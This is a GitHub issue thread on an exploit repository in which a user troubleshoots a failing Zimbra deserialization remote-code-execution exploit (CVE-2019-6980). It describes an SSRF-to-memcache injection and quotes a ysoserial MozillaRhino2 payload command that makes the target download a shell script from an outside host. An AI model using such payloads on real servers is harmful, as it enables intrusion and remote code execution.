Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Deserialization error in the Zimbra_Deserialization_RCE_CVE-2019-6980.py #6

Open
chenxiaode168 opened this issue Sep 8, 2022 · 3 comments

Comments

@chenxiaode168
Copy link

Good morning,

I have tested CVE-2019-6980 on Zimbra version 8.7.10 & 8.7.11 (Free edition) with the latest ysoserial package version 0.0.6.
For both cases, there are some errors observed from the mailbox.log shown below:
com.zimbra.common.service.ServiceException: system failure: Failed to deserialize ImapFolder
xxxxxxx
xxxxxxxxxxxx
Caused by: java.io,InvalidClassException: org.mozillla.javascript.ScriptableObject: local class incompatible: stream classdesc serVersionUID=xxxxxxxxxxxxxxx, local class serialVersionUID=-xxxxxxxxxxxxxxxxx
xxxxxxxx
xxxxxxxx

From my observation, the zImap entry was successfully inserted into the memcache (Verified) through SSRF, and deserialization occurred when the imap account was logged on (with select inbox, correct folderNo, modseq & uidvalidity).

MozillaRhino2 payload was used in ysoserial to generate the payload (java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget http://1.2.3.4/test.sh --no-check-certificate -O /tmp/test.sh"). I also tested with MozillaRhino1 but it failed too.

Can advise what did i do wrong here?
What is the exact zimbra version and ysoserial that u have tested with? Thank you very much

@3gstudent
Copy link
Owner

@chenxiaode168
Copy link
Author

Hi, thank for your advice.
I try test on Zimbra version 8.8.6 with the same error.
From these results, it may not be the Zimbra version issue?
I use the offical ysoserial 0.0.6 release. I think it is the same as your ysoserial version.
what else can i try to make it work? thank you

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants